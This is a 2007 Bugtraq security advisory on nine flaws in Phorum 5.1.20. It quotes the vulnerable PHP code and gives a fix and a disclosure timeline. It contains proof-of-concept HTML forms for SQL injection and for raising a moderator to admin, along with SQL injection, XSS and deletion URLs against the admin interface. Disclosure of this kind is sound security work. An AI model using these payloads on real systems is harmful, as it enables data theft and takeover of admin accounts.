

[waraxe-2007-SA#049] – Multiple vulnerabilities in Phorum 5.1.20

Source: <http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2007-04/msg00348.html>

- *From:* come2waraxe@xxxxxxxxxx
 - *Date:* 19 Apr 2007 16:33:00 -0000
-

[waraxe-2007-SA#049] – Multiple vulnerabilities in Phorum 5.1.20
=====

Author: Janek Vind "waraxe"
Date: 19. April 2007
Location: Estonia, Tartu
Web: <http://www.waraxe.us/advisory-49.html>

Target software description:
~~~~~

Phorum 5.1.20

<http://www.phorum.org/>

Vulnerabilities:  
~~~~~

1. critical sql injection in "pm.php" parameter "recipients"
~~~~~

Let's look at source code of "include/db/mysql.php" ~ line 1881 :

```
-----[source code]-----  
function phorum_db_user_get($user_id, $detailed)  
{  
    $PHORUM = $GLOBALS["PHORUM"];  
  
    $conn = phorum_db_mysql_connect();  
  
    if(is_array($user_id)){  
        $user_ids=implode(", ", $user_id);  
    } else {  
        $user_ids=(int)$user_id;
```

```

}

$users = array();

$sql = "select * from {$PHORUM['user_table']} where user_id in ($user_ids)";
$res = mysql_query($sql, $conn);
if ($err = mysql_error()) phorum_db_mysql_error("$err: $sql");
-----[/source code]-----

```

As we can see, if "\$user\_id" is array, then there is no sanitize against data before using in sql query. After some research I have found a way to use this bug for sql injection. For this, first of all, potential attacker must have valid user account in specific Phorum-powered website and he/she must be logged in. And then let's try this proof-of-concept html file:

```

-----[PoC exploit]-----
<html>
<body>
<form action="http://localhost/phorum.5.1.20/pm.php method="post">
<input type="hidden" name="recipients[1] OR foobar=123/* ]" value="waraxe">
<input type="submit" name="test" value="test">
</body>
</html>
-----[/PoC exploit]-----

```

Of course, "action" parameter must be modified to match real target. As testing result we will see sql error message:

```

Unknown column 'foobar' in 'where clause':
select * from phorum_users where user_id in (1) OR foobar=123/* )

```

Now – this sql injection bug can be used for stealing arbitrary data from database, including admin password md5 hash. But "useful" exploiting can be difficult and only way seems to be "blind fishing" method.

I have written private exploit, which will get admin password md5 hash from database within few minutes. So this is really critical security hole indeed!

[[ Kidd0z ]] --> sorry, no public exploit from me this time :)

2. moderator can elevate his privileges to admin

~~~~~

Any moderator with user moderation privileges can modify ANY userdata of ANY user, including admin's. So ultimately anyone with user moderation privileges can elevate his privileges to admin level.

Let's test this little piece of html code:

```
-----[PoC exploit]-----  
<html><head><title>Usermoderator2admin</title></head>  
<body><center><br><br><br>  
<form action="http://localhost/phorum.5.1.20/control.php?1 method="post">  
<input type="hidden" name="panel" value="users">  
<input type="hidden" name="forum_id" value="0">  
<input type="hidden" name="user_ids[]" value="2">  
<input type="hidden" name="userdata[admin]" value="1">  
<input type="submit" name="approve" value="Make me admin!">  
</form>  
</center>  
</body></html>
```

```
-----[/PoC exploit]-----
```

All parameters must be set correctly for this exploit to work.
"/control.php?1" --> "1" is forum id, where moderator has user moderation privileges.
"user_ids[2]" --> "2" is userid of the user, who want's to get admin privileges
And of course, moderator must be logged in before using exploit.

It's that easy – you push the button – and you have admin rights!!

So where is the initial problem for this security hole?

Let's look at source code of "include/controlcenter/users.php" line 29:

```
-----[source code]-----  
if(!empty($ POST["user ids"])){  
  
foreach($ POST["user ids"] as $user id){  
  
if(!isset($ POST["approve"])){  
$userdata["active"]=PHORUM_USER_INACTIVE;  
} else {  
$user=phorum_user_get($user id);  
if($user["active"]==PHORUM_USER_PENDING_BOTH){  
$userdata["active"]=PHORUM_USER_PENDING_EMAIL;  
} else {  
$userdata["active"]=PHORUM_USER_ACTIVE;  
// send reg approved message  
$maildata["mailsubject"]=$PHORUM["DATA"]["LANG"]["RegApprovedSubject"];  
$maildata["mailmessage"]=wordwrap($PHORUM["DATA"]["LANG"]["RegApprovedEmailBody"], 72);  
phorum_email_user(array($user["email"]), $maildata);  
}  
}  
  
$userdata["user id"]=$user id;  
  
phorum_user_save($userdata);  
}  
}
```

-----[/source code]-----

As we can see, by manipulating \$ POST["user_ids"] parameter any user can be activated or deactivated. Including admin. So – there is no checking, if target user is already active or has it higher privileges than moderator. This was mistake one. Now, mistake number two.

Array "\$userdata" is uninitialized. So we can "poison" that variable, if php settings has "register_globals=on". And in this way user moderator can deliver for saving any userdata for any user. For example – userdata[admin] carries user admin privileges.

Solution: array initializing before use and adding some security checks.

3. sql injection in admin interface censorlist management

PoC:

<http://localhost/phorum.5.1.20/admin.php?module=badwords&curr=SELECT&delete=1>

... and we will get error message:

<!-- You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'SELECT' at line 1: DELETE FROM phorum_banlists WHERE id = SELECT -->

4. sql injection in admin interface banlist management

From source code – "include/db/mysql.php" line 3223:

```
function phorum_db_del_banitem($banid) {  
    $PHORUM = $GLOBALS["PHORUM"];  
  
    $conn = phorum_db_mysql_connect();  
  
    $sql = "DELETE FROM {$PHORUM['banlist_table']} WHERE id = $banid";  
  
    $res = mysql_query($sql, $conn);  
}
```

PoC: <http://localhost/phorum.5.1.20/admin.php?module=banlist&delete=1&curr=OR>

... and we will get error message:

<!-- You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near

'OR' at line 1: DELETE FROM phorum_banlists WHERE id = OR -->

5. sql injection in admin interface groups management

Let's try to add group named "war'axe":

<http://localhost/phorum.5.1.20/admin.php?module=groups>

Edit groups / Add group --> war'axe

<!-- You have an error in your SQL syntax: check the manual that corresponds to your MySQL server version for the right syntax to use near 'axe')' at line 1: insert into phorum_groups (name) values ('war'axe') -->

6. XSS in admin interface groups management

<http://localhost/phorum.5.1.20/admin.php?module=groups&edit=1>
group_id="">><script>alert(123);</script>

7. XSS in admin interface smiley management

<http://localhost/phorum.5.1.20/admin.php?module=modsettings&mod=smileys>
edit=1&smiley_id="">><script>alert(123);</script>

8. path disclosure in "admin.php" variable "module"

[http://localhost/phorum.5.1.20/admin.php?module\[\]=groups](http://localhost/phorum.5.1.20/admin.php?module[]=groups)

Warning: basename() expects parameter 1 to be string, array given in C:\apache_wwwroot\phorum.5.1.20\admin.php on line 57

9. GET method used for banlist editing

From source: "include/admin/banlist.php" line 47:

```
if(isset($_GET['curr'])){  
if(isset($_GET['delete'])){  
phorum_db_del_banitem($_GET['curr']);
```

```
echo "Ban Item Deleted<br />":  
} else {  
$curr = $ GET["curr"];  
}  
}
```

PoC:

<http://localhost/phorum.5.1.20/admin.php?module=banlist&curr=9&delete=1>

... and banlist entry will be deleted easily.

Solution: use POST method

//-----> See ya soon and have a nice day :) <-----//

Disclosure timeline:

- 25. march 2007 – developer first contacted
- 25. march 2007 – developer response
- 26. march 2007 – details emailed to developer
- 17. april 2007 – developer released new, patched version
- 19. april 2007 – public advisory released

How to fix:

Download new and patched Phorum version 5.1.22 from:

<http://www.phorum.org/downloads/phorum-5.1.22.tar.gz>

Greetings:

Greets to LINUX, Heintz, slimjim100, shai-tan, y3dips, Sm0ke, Chb and all other people who know me!

Special greets goes to Raido Kerna.

Tervitusi Torufoorumi rahvale!

Contact:

come2waraxe@xxxxxxxxxx
Janek Vind "waraxe"

Homepage: <http://www.waraxe.us/>

Shameless advertise:

~~~~~

Chopping url for easy use – <http://urlaxe.com/>

Kes otsib, see leiab – <http://avalik.info/>

----- [ EOF ] -----